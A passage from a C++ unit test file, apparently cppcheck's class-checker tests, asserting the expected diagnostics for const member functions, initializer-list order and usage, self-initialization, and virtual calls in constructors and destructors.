{\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX();\\n\"\n \"};\\n\"\n \"int X::getX() { return x; }\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY();\\n\"\n \"};\\n\"\n \"int Y::getY() { return y; }\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ();\\n\"\n \"};\\n\"\n \"int Z::getZ() { return z; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constIfCfg() {\n const char code[] = \"struct foo {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n //\"#ifdef ABC\\n\"\n //\" i = 4;\\n\"\n //\"endif\\n\"\n \" }\\n\"\n \"};\";\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'foo::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = false)); // TODO: Set inconclusive to true (preprocess it)\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constFriend() { // ticket #1921\n const char code[] = \"class foo {\\n\"\n \" friend void f() { }\\n\"\n \"};\";\n checkConst(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constUnion() { // ticket #2111\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" union {\\n\"\n \" int i;\\n\"\n \" float f;\\n\"\n \" } d;\\n\"\n \" void setf(float x) {\\n\"\n \" d.f = x;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constArrayOperator() {\n checkConst(\"struct foo {\\n\"\n \" int x;\\n\"\n \" int y[5][724];\\n\"\n \" T a() {\\n\"\n \" return y[x++][6];\\n\"\n \" }\\n\"\n \" T b() {\\n\"\n \" return y[1][++x];\\n\"\n \" }\\n\"\n \" T c() {\\n\"\n \" return y[1][6];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:7]: (style, inconclusive) Technically the member function 'foo::c' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constRangeBasedFor() { // #5514\n checkConst(\"class Fred {\\n\"\n \" int array[256];\\n\"\n \"public:\\n\"\n \" void f1() {\\n\"\n \" for (auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" for (const auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f3() {\\n\"\n \" for (decltype(auto) e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'Fred::f2' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const_shared_ptr() { // #8674\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::shared_ptr getData();\\n\"\n \"private:\\n\"\n \" std::shared_ptr data;\\n\"\n \"};\\n\"\n \"\\n\"\n \"std::shared_ptr Fred::getData() { return data; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constPtrToConstPtr() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const char *const *data;\\n\"\n \" const char *const *getData() { return data; }\\n}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style, inconclusive) Technically the member function 'Fred::getData' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constTrailingReturnType() { // #9814\n checkConst(\"struct A {\\n\"\n \" int x = 1;\\n\"\n \" auto get() -> int & { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constRefQualified() { // #12920\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const Data& get() & { return data; }\\n\"\n \"private:\\n\"\n \" Data data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void staticArrayPtrOverload() {\n checkConst(\"struct S {\\n\"\n \" template\\n\"\n \" void f(const std::array& sv);\\n\"\n \" template\\n\"\n \" void f(const char* const (&StrArr)[N]);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"void S::f(const std::array& sv) {\\n\"\n \" const char* ptrs[N]{};\\n\"\n \" return f(ptrs);\\n\"\n \"}\\n\"\n \"template void S::f(const std::array& sv);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void qualifiedNameMember() { // #10872\n const Settings s = settingsBuilder().severity(Severity::style).debugwarnings().library(\"std.cfg\").build();\n checkConst(\"struct data {};\\n\"\n \" struct S {\\n\"\n \" std::vector std;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector::const_iterator end = std.end();\\n\"\n \"}\\n\", dinit(CheckConstOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:6:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n#define checkInitializerListOrder(...) checkInitializerListOrder_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializerListOrder_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings2, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings2, this);\n checkClass.initializerListOrder();\n }\n\n void initializerListOrder() {\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c(0), b(0), a(0) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c{0}, b{0}, a{0} { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : b(a = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" int nCols() const;\\n\"\n \" int nRows() const;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" const char* m_name;\\n\"\n \" int nCols;\\n\"\n \" int nRows;\\n\"\n \" B(const char* p_name, int nR, int nC)\\n\"\n \" : m_name(p_name)\\n\"\n \" , nCols(nC)\\n\"\n \" , nRows(nR)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"struct D : public B {\\n\"\n \" const int m_i;\\n\"\n \" D(const S& s, int _i)\\n\"\n \" : B(\\\"abc\\\", s.nRows(), s.nCols())\\n\"\n \" , m_i(_i)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void initializerListArgument() {\n checkInitializerListOrder(\"struct A { A(); };\\n\" // #12322\n \"struct B { explicit B(const A* a); };\\n\"\n \"struct C {\\n\"\n \" C() : b(&a) {}\\n\"\n \" B b;\\n\"\n \" const A a;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:11] -> [test.cpp:5:7]: (style, inconclusive) Member variable 'C::b' uses an uninitialized argument 'a' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(const std::string& f, std::string i, int b, int c) : a(0), b(b), c(c) {}\\n\"\n \" int a, b, c;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(a) {}\\n\"\n \" int* p;\\n\"\n \" int a[1];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(&i) {}\\n\"\n \" int* p;\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(b = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : r(i) {}\\n\"\n \" int& r;\\n\"\n \" int i{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct B {\\n\"\n \" int a{}, b{};\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" D() : B(), j(b) {}\\n\"\n \" int j;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(i) {}\\n\"\n \" int a;\\n\"\n \" static int i;\\n\"\n \"};\\n\"\n \"int S::i = 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(int b) : a(b) {}\\n\"\n \" int a, b{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"class Foo {\\n\" // #3524\n \"public:\\n\"\n \" Foo(int arg) : a(b), b(arg) {}\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20] -> [test.cpp:4:9]: (style, inconclusive) Member variable 'Foo::a' uses an uninitialized argument 'b' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S { double d = 0; };\\n\" // #12730\n \"struct T {\\n\"\n \" T() : s(), a(s.d), d(0) {}\\n\"\n \" S s;\\n\"\n \" double a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S { static const int d = 1; };\\n\"\n \"struct T {\\n\"\n \" T() : s(), a(S::d), d(0) {}\\n\"\n \" S s;\\n\"\n \" int a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInitializationListUsage(...) checkInitializationListUsage_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializationListUsage_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::performance).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.initializationListUsage();\n }\n\n void initializerListUsage() {\n checkInitializationListUsage(\"enum Enum { C = 0 };\\n\"\n \"class Fred {\\n\"\n \" int a;\\n\" // No message for builtin types: No performance gain\n \" int* b;\\n\" // No message for pointers: No performance gain\n \" Enum c;\\n\" // No message for enums: No performance gain\n \" Fred() { a = 0; b = 0; c = C; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { a = 0; s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:21]: (performance) Variable 's' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string& s;\\n\" // Message is invalid for references, since their initialization in initializer list is required anyway and behaves different from assignment (#5004)\n \" Fred(const std::string& s_) : s(s_) { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::vector v;\\n\"\n \" Fred() { v = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'v' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C { std::string s; };\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred const & other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred && other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { initB(); a = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() : a(0) { if(b) a = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a[5];\\n\"\n \" Fred() { for(int i = 0; i < 5; i++) a[i] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a; int b;\\n\"\n \" Fred() : b(5) { a = b; }\\n\" // Don't issue a message here: You actually could move it to the initialization list, but it would cause problems if you change the order of the variable declarations.\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { try { a = new int; } catch(...) {} }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { s = toString((size_t)this); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" std::string foo();\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'a' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #4332\n \" static std::string s;\\n\"\n \" Fred() { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #5640\n \" std::string s;\\n\"\n \" Fred() {\\n\"\n \" char str[2];\\n\"\n \" str[0] = c;\\n\"\n \" str[1] = 0;\\n\"\n \" s = str;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class B {\\n\" // #5640\n \" std::shared_ptr _d;\\n\"\n \" B(const B& other) : _d(std::make_shared()) {\\n\"\n \" *_d = *other._d;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Bar {\\n\" // #8466\n \"public:\\n\"\n \" explicit Bar(const Bar &bar) : Bar{bar.s} {}\\n\"\n \" explicit Bar(const char s) : s{s} {}\\n\"\n \"private:\\n\"\n \" char s;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"unsigned bar(std::string);\\n\" // #8291\n \"class Foo {\\n\"\n \"public:\\n\"\n \" int a_, b_;\\n\"\n \" Foo(int a, int b) : a_(a), b_(b) {}\\n\"\n \" Foo(int a, const std::string& b) : Foo(a, bar(b)) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #8111\n \" std::string a;\\n\"\n \" Fred() {\\n\"\n \" std::ostringstream ostr;\\n\"\n \" ostr << x;\\n\"\n \" a = ostr.str();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: multi line lambda in rhs => do not warn\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::function f;\\n\"\n \" Fred() {\\n\"\n \" f = [](){\\n\"\n \" return 1;\\n\"\n \" };\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't warn if some other instance's members are assigned to\n checkInitializationListUsage(\"class C {\\n\"\n \"public:\\n\"\n \" C(C& c) : m_i(c.m_i) { c.m_i = (Foo)-1; }\\n\"\n \"private:\\n\"\n \" Foo m_i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class A {\\n\" // #9821 - delegate constructor\n \"public:\\n\"\n \" A() : st{} {}\\n\"\n \"\\n\"\n \" explicit A(const std::string &input): A() {\\n\"\n \" st = input;\\n\"\n \" }\\n\"\n \"\\n\"\n \"private:\\n\"\n \" std::string st;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkSelfInitialization(...) checkSelfInitialization_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkSelfInitialization_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkSelfInitialization)();\n }\n\n void selfInitialization() {\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i(i) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i{i} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred();\\n\"\n \"};\\n\"\n \"Fred::Fred() : i(i) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\" // #10427\n \"public:\\n\"\n \" explicit A(int x) : _x(static_cast(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\"\n \"public:\\n\"\n \" explicit A(int x) : _x((int)(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 's' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x(x) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x{x} { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s{s} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : Bar {\\n\"\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i{i} {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkVirtualFunctionCall(...) checkVirtualFunctionCall_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualFunctionCall_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).certainty(Certainty::inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkVirtualFunctionCallInConstructor();\n }\n\n void virtualFunctionCallInConstructor() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{f();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 7. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A {\\n\"\n \" virtual int f();\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() override;\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:9]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \" virtual int f() = 0;\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \" int f();\\n\" // <- not explicitly virtual\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" A() { A::f(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() final { return 1; }\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \"public:\"\n \" virtual void f() {}\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \"public:\"\n \" void f() override final {}\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void Copy(const Base& Src) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" Derived() : i(0) {}\\n\"\n \" Derived(const Derived& Src);\\n\"\n \" void Copy(const Base& Src) override;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"Derived::Derived(const Derived& Src) {\\n\"\n \" Copy(Src);\\n\"\n \"}\\n\"\n \"void Derived::Copy(const Base& Src) {\\n\"\n \" auto d = dynamic_cast(Src);\\n\"\n \" i = d.i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:13:5] -> [test.cpp:9:10]: (style) Virtual function 'Copy' is called from copy constructor 'Derived(const Derived&Src)' at line 13. Dynamic binding is not used. [virtualCallInConstructor]\\n\",\n errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &B::f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { (f)(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:18]: (style) Virtual function 'f' is called from constructor 'B()' at line 2. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class S {\\n\" // don't crash\n \" ~S();\\n\"\n \"public:\\n\"\n \" S();\\n\"\n \"};\\n\"\n \"S::S() {\\n\"\n \" typeid(S);\\n\"\n \"}\\n\"\n \"S::~S() = default;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct Base: { virtual void wibble() = 0; virtual ~Base() {} };\\n\" // #11167\n \"struct D final : public Base {\\n\"\n \" void wibble() override;\\n\"\n \" D() {}\\n\"\n \" virtual ~D() { wibble(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCall() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int pure()=0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(A::pure())\\n\"\n \"{}\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:3:17]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"namespace N {\\n\"\n \" class A\\n\"\n \" {\\n\"\n \" virtual int pure() = 0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"N::A::A() : m(N::A::pure()) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:21] -> [test.cpp:4:19]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual int 